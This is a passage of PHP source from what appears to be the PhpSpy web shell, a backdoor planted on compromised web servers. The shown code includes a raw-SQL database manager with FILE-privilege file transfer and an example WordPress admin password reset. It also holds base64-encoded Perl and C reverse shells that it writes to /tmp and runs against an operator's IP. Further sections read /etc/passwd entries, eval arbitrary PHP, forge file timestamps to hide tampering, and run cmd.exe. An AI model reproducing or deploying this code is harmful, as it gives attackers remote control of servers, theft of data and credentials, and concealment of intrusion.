1403 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1404
1405 $('mysqlfile').submit();
1406
1407}
1408
1409</script>
1410
1411<?php
1412
1413 !$dbhost && $dbhost = 'localhost';
1414
1415 !$dbuser && $dbuser = 'root';
1416
1417 !$dbport && $dbport = '3306';
1418
1419 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1420
1421 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1422
1423 makehide('action','sqlfile');
1424
1425 p('<p>');
1426
1427 p('DBHost:');
1428
1429 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1430
1431 p(':');
1432
1433 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1434
1435 p('DBUser:');
1436
1437 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1438
1439 p('DBPass:');
1440
1441 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1442
1443 p('DBName:');
1444
1445 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1446
1447 p('DBCharset:');
1448
1449 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1450
1451 p('</p>');
1452
1453 formfoot();
1454
1455 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1456
1457 p('<h2>Upload file</h2>');
1458
1459 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1460
1461 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1462
1463 p('<h2>Download file</h2>');
1464
1465 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1466
1467 makehide('dbhost');
1468
1469 makehide('dbport');
1470
1471 makehide('dbuser');
1472
1473 makehide('dbpass');
1474
1475 makehide('dbname');
1476
1477 makehide('charset');
1478
1479 makehide('doing');
1480
1481 makehide('action','sqlfile');
1482
1483 p('</form>');
1484
1485}
1486
1487
1488
1489elseif ($action == 'sqladmin') {
1490
1491 !$dbhost && $dbhost = 'localhost';
1492
1493 !$dbuser && $dbuser = 'root';
1494
1495 !$dbport && $dbport = '3306';
1496
1497 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1498
1499 if(isset($dbhost)){
1500
1501 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1502
1503 }
1504
1505 if(isset($dbuser)) {
1506
1507 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1508
1509 }
1510
1511 if(isset($dbpass)) {
1512
1513 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1514
1515 }
1516
1517 if(isset($dbport)) {
1518
1519 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1520
1521 }
1522
1523 if(isset($dbname)) {
1524
1525 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1526
1527 }
1528
1529 if(isset($charset)) {
1530
1531 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1532
1533 }
1534
1535
1536
1537 if ($doing == 'backupmysql' && $saveasfile) {
1538
1539 if (!$table) {
1540
1541 m('Please choose the table');
1542
1543 } else {
1544
1545 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1546
1547 $table = array_flip($table);
1548
1549 $fp = @fopen($path,'w');
1550
1551 if ($fp) {
1552
1553 $result = q('SHOW tables');
1554
1555 if (!$result) p('<h2>'.mysql_error().'</h2>');
1556
1557 $mysqldata = '';
1558
1559 while ($currow = mysql_fetch_array($result)) {
1560
1561 if (isset($table[$currow[0]])) {
1562
1563 sqldumptable($currow[0], $fp);
1564
1565 }
1566
1567 }
1568
1569 fclose($fp);
1570
1571 $fileurl = str_replace(SA_ROOT,'',$path);
1572
1573 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1574
1575 mysql_close();
1576
1577 } else {
1578
1579 m('Backup failed');
1580
1581 }
1582
1583 }
1584
1585 }
1586
1587 if ($insert && $insertsql) {
1588
1589 $keystr = $valstr = $tmp = '';
1590
1591 foreach($insertsql as $key => $val) {
1592
1593 if ($val) {
1594
1595 $keystr .= $tmp.$key;
1596
1597 $valstr .= $tmp."'".addslashes($val)."'";
1598
1599 $tmp = ',';
1600
1601 }
1602
1603 }
1604
1605 if ($keystr && $valstr) {
1606
1607 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1608
1609 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1610
1611 }
1612
1613 }
1614
1615 if ($update && $insertsql && $base64) {
1616
1617 $valstr = $tmp = '';
1618
1619 foreach($insertsql as $key => $val) {
1620
1621 $valstr .= $tmp.$key."='".addslashes($val)."'";
1622
1623 $tmp = ',';
1624
1625 }
1626
1627 if ($valstr) {
1628
1629 $where = base64_decode($base64);
1630
1631 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1632
1633 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1634
1635 }
1636
1637 }
1638
1639 if ($doing == 'del' && $base64) {
1640
1641 $where = base64_decode($base64);
1642
1643 $delete_sql = "DELETE FROM $tablename WHERE $where";
1644
1645 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1646
1647 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1648
1649 }
1650
1651
1652
1653 if ($tablename && $doing == 'drop') {
1654
1655 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1656
1657 if (q("DROP TABLE $tablename")) {
1658
1659 m('Drop table of success');
1660
1661 $tablename = '';
1662
1663 } else {
1664
1665 m(mysql_error());
1666
1667 }
1668
1669 }
1670
1671
1672
1673 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1674
1675
1676
1677 formhead(array('title'=>'MYSQL Manager'));
1678
1679 makehide('action','sqladmin');
1680
1681 p('<p>');
1682
1683 p('DBHost:');
1684
1685 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1686
1687 p(':');
1688
1689 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1690
1691 p('DBUser:');
1692
1693 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1694
1695 p('DBPass:');
1696
1697 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1698
1699 p('DBCharset:');
1700
1701 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1702
1703 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1704
1705 p('</p>');
1706
1707 formfoot();
1708
1709?>
1710
1711<script type="text/javascript">
1712
1713function editrecord(action, base64, tablename){
1714
1715 if (action == 'del') {
1716
1717 if (!confirm('Is or isn\'t deletion record?')) return;
1718
1719 }
1720
1721 $('recordlist').doing.value=action;
1722
1723 $('recordlist').base64.value=base64;
1724
1725 $('recordlist').tablename.value=tablename;
1726
1727 $('recordlist').submit();
1728
1729}
1730
1731function moddbname(dbname) {
1732
1733 if(!dbname) return;
1734
1735 $('setdbname').dbname.value=dbname;
1736
1737 $('setdbname').submit();
1738
1739}
1740
1741function settable(tablename,doing,page) {
1742
1743 if(!tablename) return;
1744
1745 if (doing) {
1746
1747 $('settable').doing.value=doing;
1748
1749 }
1750
1751 if (page) {
1752
1753 $('settable').page.value=page;
1754
1755 }
1756
1757 $('settable').tablename.value=tablename;
1758
1759 $('settable').submit();
1760
1761}
1762
1763</script>
1764
1765<?php
1766
1767 // SQL
1768
1769 formhead(array('name'=>'recordlist'));
1770
1771 makehide('doing');
1772
1773 makehide('action','sqladmin');
1774
1775 makehide('base64');
1776
1777 makehide('tablename');
1778
1779 p($dbform);
1780
1781 formfoot();
1782
1783
1784
1785 // Data
1786
1787 formhead(array('name'=>'setdbname'));
1788
1789 makehide('action','sqladmin');
1790
1791 p($dbform);
1792
1793 if (!$dbname) {
1794
1795 makehide('dbname');
1796
1797 }
1798
1799 formfoot();
1800
1801
1802
1803
1804
1805 formhead(array('name'=>'settable'));
1806
1807 makehide('action','sqladmin');
1808
1809 p($dbform);
1810
1811 makehide('tablename');
1812
1813 makehide('page',$page);
1814
1815 makehide('doing');
1816
1817 formfoot();
1818
1819
1820
1821 $cachetables = array();
1822
1823 $pagenum = 30;
1824
1825 $page = intval($page);
1826
1827 if($page) {
1828
1829 $start_limit = ($page - 1) * $pagenum;
1830
1831 } else {
1832
1833 $start_limit = 0;
1834
1835 $page = 1;
1836
1837 }
1838
1839 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1840
1841 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1842
1843 // get mysql server
1844
1845 $mysqlver = mysql_get_server_info();
1846
1847 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1848
1849 $highver = $mysqlver > '4.1' ? 1 : 0;
1850
1851
1852
1853 // Show database
1854
1855 $query = q("SHOW DATABASES");
1856
1857 $dbs = array();
1858
1859 $dbs[] = '-- Select a database --';
1860
1861 while($db = mysql_fetch_array($query)) {
1862
1863 $dbs[$db['Database']] = $db['Database'];
1864
1865 }
1866
1867 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1868
1869 $tabledb = array();
1870
1871 if ($dbname) {
1872
1873 p('<p>');
1874
1875 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1876
1877 if ($tablename) {
1878
1879 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1880
1881 }
1882
1883 p('</p>');
1884
1885 mysql_select_db($dbname);
1886
1887
1888
1889 $getnumsql = '';
1890
1891 $runquery = 0;
1892
1893 if ($sql_query) {
1894
1895 $runquery = 1;
1896
1897 }
1898
1899 $allowedit = 0;
1900
1901 if ($tablename && !$sql_query) {
1902
1903 $sql_query = "SELECT * FROM $tablename";
1904
1905 $getnumsql = $sql_query;
1906
1907 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1908
1909 $allowedit = 1;
1910
1911 }
1912
1913 p('<form action="'.$self.'" method="POST">');
1914
1915 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `wp_users` SET `user_pass` = \'36adbd38209c836b477e50e4e5cd1fa0\' WHERE `ID` = \'1\'
1916 </font>
1917
1918 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1919
1920 makehide('tablename', $tablename);
1921
1922 makehide('action','sqladmin');
1923
1924 p($dbform);
1925
1926 p('</form>');
1927
1928 if ($tablename || ($runquery && $sql_query)) {
1929
1930 if ($doing == 'structure') {
1931
1932 $result = q("SHOW COLUMNS FROM $tablename");
1933
1934 $rowdb = array();
1935
1936 while($row = mysql_fetch_array($result)) {
1937
1938 $rowdb[] = $row;
1939
1940 }
1941
1942 p('<table border="0" cellpadding="3" cellspacing="0">');
1943
1944 p('<tr class="head">');
1945
1946 p('<td>Field</td>');
1947
1948 p('<td>Type</td>');
1949
1950 p('<td>Null</td>');
1951
1952 p('<td>Key</td>');
1953
1954 p('<td>Default</td>');
1955
1956 p('<td>Extra</td>');
1957
1958 p('</tr>');
1959
1960 foreach ($rowdb as $row) {
1961
1962 $thisbg = bg();
1963
1964 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1965
1966 p('<td>'.$row['Field'].'</td>');
1967
1968 p('<td>'.$row['Type'].'</td>');
1969
1970 p('<td>'.$row['Null'].' </td>');
1971
1972 p('<td>'.$row['Key'].' </td>');
1973
1974 p('<td>'.$row['Default'].' </td>');
1975
1976 p('<td>'.$row['Extra'].' </td>');
1977
1978 p('</tr>');
1979
1980 }
1981
1982 tbfoot();
1983
1984 } elseif ($doing == 'insert' || $doing == 'edit') {
1985
1986 $result = q('SHOW COLUMNS FROM '.$tablename);
1987
1988 while ($row = mysql_fetch_array($result)) {
1989
1990 $rowdb[] = $row;
1991
1992 }
1993
1994 $rs = array();
1995
1996 if ($doing == 'insert') {
1997
1998 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1999
2000 } else {
2001
2002 p('<h2>Update record in '.$tablename.' table »</h2>');
2003
2004 $where = base64_decode($base64);
2005
2006 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
2007
2008 $rs = mysql_fetch_array($result);
2009
2010 }
2011
2012 p('<form method="post" action="'.$self.'">');
2013
2014 p($dbform);
2015
2016 makehide('action','sqladmin');
2017
2018 makehide('tablename',$tablename);
2019
2020 p('<table border="0" cellpadding="3" cellspacing="0">');
2021
2022 foreach ($rowdb as $row) {
2023
2024 if ($rs[$row['Field']]) {
2025
2026 $value = htmlspecialchars($rs[$row['Field']]);
2027
2028 } else {
2029
2030 $value = '';
2031
2032 }
2033
2034 $thisbg = bg();
2035
2036 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2037
2038 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
2039
2040 }
2041
2042 if ($doing == 'insert') {
2043
2044 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
2045
2046 } else {
2047
2048 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
2049
2050 makehide('base64', $base64);
2051
2052 }
2053
2054 p('</table></form>');
2055
2056 } else {
2057
2058 $querys = @explode(';',$sql_query);
2059
2060 foreach($querys as $num=>$query) {
2061
2062 if ($query) {
2063
2064 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
2065
2066 switch(qy($query))
2067
2068 {
2069
2070 case 0:
2071
2072 p('<h2>Error : '.mysql_error().'</h2>');
2073
2074 break;
2075
2076 case 1:
2077
2078 if (strtolower(substr($query,0,13)) == 'select * from') {
2079
2080 $allowedit = 1;
2081
2082 }
2083
2084 if ($getnumsql) {
2085
2086 $tatol = mysql_num_rows(q($getnumsql));
2087
2088 $multipage = multi($tatol, $pagenum, $page, $tablename);
2089
2090 }
2091
2092 if (!$tablename) {
2093
2094 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
2095
2096 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
2097
2098 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
2099
2100 $tablename = $matches[1][0];
2101
2102 }
2103
2104 $result = q($query);
2105
2106 p($multipage);
2107
2108 p('<table border="0" cellpadding="3" cellspacing="0">');
2109
2110 p('<tr class="head">');
2111
2112 if ($allowedit) p('<td>Action</td>');
2113
2114 $fieldnum = @mysql_num_fields($result);
2115
2116 for($i=0;$i<$fieldnum;$i++){
2117
2118 $name = @mysql_field_name($result, $i);
2119
2120 $type = @mysql_field_type($result, $i);
2121
2122 $len = @mysql_field_len($result, $i);
2123
2124 p("<td nowrap>$name<br><span>$type($len)</span></td>");
2125
2126 }
2127
2128 p('</tr>');
2129
2130 while($mn = @mysql_fetch_assoc($result)){
2131
2132 $thisbg = bg();
2133
2134 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2135
2136 $where = $tmp = $b1 = '';
2137
2138 foreach($mn as $key=>$inside){
2139
2140 if ($inside) {
2141
2142 $where .= $tmp.$key."='".addslashes($inside)."'";
2143
2144 $tmp = ' AND ';
2145
2146 }
2147
2148 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
2149
2150 }
2151
2152 $where = base64_encode($where);
2153
2154 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
2155
2156 p($b1);
2157
2158 p('</tr>');
2159
2160 unset($b1);
2161
2162 }
2163
2164 tbfoot();
2165
2166 p($multipage);
2167
2168 break;
2169
2170 case 2:
2171
2172 $ar = mysql_affected_rows();
2173
2174 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
2175
2176 break;
2177
2178 }
2179
2180 }
2181
2182 }
2183
2184 }
2185
2186 } else {
2187
2188 $query = q("SHOW TABLE STATUS");
2189
2190 $table_num = $table_rows = $data_size = 0;
2191
2192 $tabledb = array();
2193
2194 while($table = mysql_fetch_array($query)) {
2195
2196 $data_size = $data_size + $table['Data_length'];
2197
2198 $table_rows = $table_rows + $table['Rows'];
2199
2200 $table['Data_length'] = sizecount($table['Data_length']);
2201
2202 $table_num++;
2203
2204 $tabledb[] = $table;
2205
2206 }
2207
2208 $data_size = sizecount($data_size);
2209
2210 unset($table);
2211
2212 p('<table border="0" cellpadding="0" cellspacing="0">');
2213
2214 p('<form action="'.$self.'" method="POST">');
2215
2216 makehide('action','sqladmin');
2217
2218 p($dbform);
2219
2220 p('<tr class="head">');
2221
2222 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
2223
2224 p('<td>Name</td>');
2225
2226 p('<td>Rows</td>');
2227
2228 p('<td>Data_length</td>');
2229
2230 p('<td>Create_time</td>');
2231
2232 p('<td>Update_time</td>');
2233
2234 if ($highver) {
2235
2236 p('<td>Engine</td>');
2237
2238 p('<td>Collation</td>');
2239
2240 }
2241
2242 p('</tr>');
2243
2244 foreach ($tabledb as $key => $table) {
2245
2246 $thisbg = bg();
2247
2248 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
2249
2250 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
2251
2252 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
2253
2254 p('<td>'.$table['Rows'].'</td>');
2255
2256 p('<td>'.$table['Data_length'].'</td>');
2257
2258 p('<td>'.$table['Create_time'].'</td>');
2259
2260 p('<td>'.$table['Update_time'].'</td>');
2261
2262 if ($highver) {
2263
2264 p('<td>'.$table['Engine'].'</td>');
2265
2266 p('<td>'.$table['Collation'].'</td>');
2267
2268 }
2269
2270 p('</tr>');
2271
2272 }
2273
2274 p('<tr class=fout>');
2275
2276 p('<td> </td>');
2277
2278 p('<td>Total tables: '.$table_num.'</td>');
2279
2280 p('<td>'.$table_rows.'</td>');
2281
2282 p('<td>'.$data_size.'</td>');
2283
2284 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
2285
2286 p('</tr>');
2287
2288
2289
2290 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."sql.gz\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
2291
2292 makehide('doing','backupmysql');
2293
2294 formfoot();
2295
2296 p("</table>");
2297
2298 fr($query);
2299
2300 }
2301
2302 }
2303
2304 }
2305
2306 tbfoot();
2307
2308 @mysql_close();
2309
2310}//end sql backup
2311
2312
2313
2314
2315
2316elseif ($action == 'backconnect') {
2317
2318 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
2319
2320 !$yourport && $yourport = '12345';
2321
2322 $usedb = array('perl'=>'perl','c'=>'c');
2323
2324
2325
2326 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
2327
2328 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
2329
2330 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
2331
2332 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
2333
2334 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
2335
2336 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
2337
2338 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
2339
2340 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
2341
2342 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
2343
2344 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
2345
2346 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
2347
2348 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
2349
2350 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
2351
2352 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
2353
2354 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
2355
2356
2357
2358 if ($start && $yourip && $yourport && $use){
2359
2360 if ($use == 'perl') {
2361
2362 cf('/tmp/angel_bc',$back_connect);
2363
2364 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
2365
2366 } else {
2367
2368 cf('/tmp/angel_bc.c',$back_connect_c);
2369
2370 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
2371
2372 @unlink('/tmp/angel_bc.c');
2373
2374 $res = execute("/tmp/angel_bc $yourip $yourport &");
2375
2376 }
2377
2378 m("Now script try connect to $yourip port $yourport ...");
2379
2380 }
2381
2382
2383
2384 formhead(array('title'=>'Back Connect'));
2385
2386 makehide('action','backconnect');
2387
2388 p('<p>');
2389
2390 p('Your IP:');
2391
2392 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
2393
2394 p('Your Port:');
2395
2396 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
2397
2398 p('Use:');
2399
2400 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
2401
2402 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2403
2404 p('</p>');
2405
2406 formfoot();
2407
2408}//end backconnect window via NC
2409elseif ($action == 'etcpwd') {
2410
2411formhead(array('title'=>'Get /etc/passwd'));
2412
2413 makehide('action','etcpwd');
2414
2415 makehide('dir',$nowpath);
2416
2417$i = 0;
2418
2419 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
2420
2421while ($i < 60000) {
2422
2423
2424
2425 $line = posix_getpwuid($i);
2426
2427 if (!empty($line)) {
2428
2429
2430
2431 while (list ($key, $vba_etcpwd) = each($line)){
2432
2433 echo "".$vba_etcpwd."\n";
2434
2435 break;
2436
2437 }
2438
2439
2440
2441 }
2442
2443
2444
2445 $i++;
2446
2447}
2448
2449 echo "</textarea></p>";
2450
2451 formfoot();
2452
2453}
2454
2455
2456
2457elseif ($action == 'eval') {
2458
2459 $phpcode = trim($phpcode);
2460
2461 if($phpcode){
2462
2463 if (!preg_match('#<\?#si', $phpcode)) {
2464
2465 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2466
2467 }
2468
2469 eval("?".">$phpcode<?");
2470
2471 }
2472
2473 formhead(array('title'=>'Eval PHP Code'));
2474
2475 makehide('action','eval');
2476
2477 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2478
2479 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
2480
2481 formfooter();
2482
2483}//end eval
2484
2485
2486
2487elseif ($action == 'editfile') {
2488
2489 if(file_exists($opfile)) {
2490
2491 $fp=@fopen($opfile,'r');
2492
2493 $contents=@fread($fp, filesize($opfile));
2494
2495 @fclose($fp);
2496
2497 $contents=htmlspecialchars($contents);
2498
2499 }
2500
2501 formhead(array('title'=>'Create / Edit File'));
2502
2503 makehide('action','file');
2504
2505 makehide('dir',$nowpath);
2506
2507 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2508
2509 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2510
2511 formfooter();
2512
2513}//end editfile
2514
2515
2516
2517elseif ($action == 'newtime') {
2518
2519 $opfilemtime = @filemtime($opfile);
2520
2521 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2522
2523 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2524
2525 formhead(array('title'=>'Clone file was last modified time'));
2526
2527 makehide('action','file');
2528
2529 makehide('dir',$nowpath);
2530
2531 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2532
2533 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2534
2535 formfooter();
2536
2537 formhead(array('title'=>'Set last modified'));
2538
2539 makehide('action','file');
2540
2541 makehide('dir',$nowpath);
2542
2543 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2544
2545 p('<p>Instead »');
2546
2547 p('year:');
2548
2549 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2550
2551 p('month:');
2552
2553 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2554
2555 p('day:');
2556
2557 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2558
2559 p('hour:');
2560
2561 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2562
2563 p('minute:');
2564
2565 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2566
2567 p('second:');
2568
2569 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2570
2571 p('</p>');
2572
2573 formfooter();
2574
2575}//end newtime
2576
2577
2578
2579elseif ($action == 'shell') {
2580
2581 if (IS_WIN && IS_COM) {
2582
2583 if($program && $parameter) {
2584
2585 $shell= new COM('Shell.Application');
2586
2587 $a = $shell->ShellExecute($program,$parameter);
2588
2589 m('Program run has '.(!$a ? 'success' : 'fail'));
2590
2591 }
2592
2593 !$program && $program = 'c:\windows\system32\cmd.exe';
2594
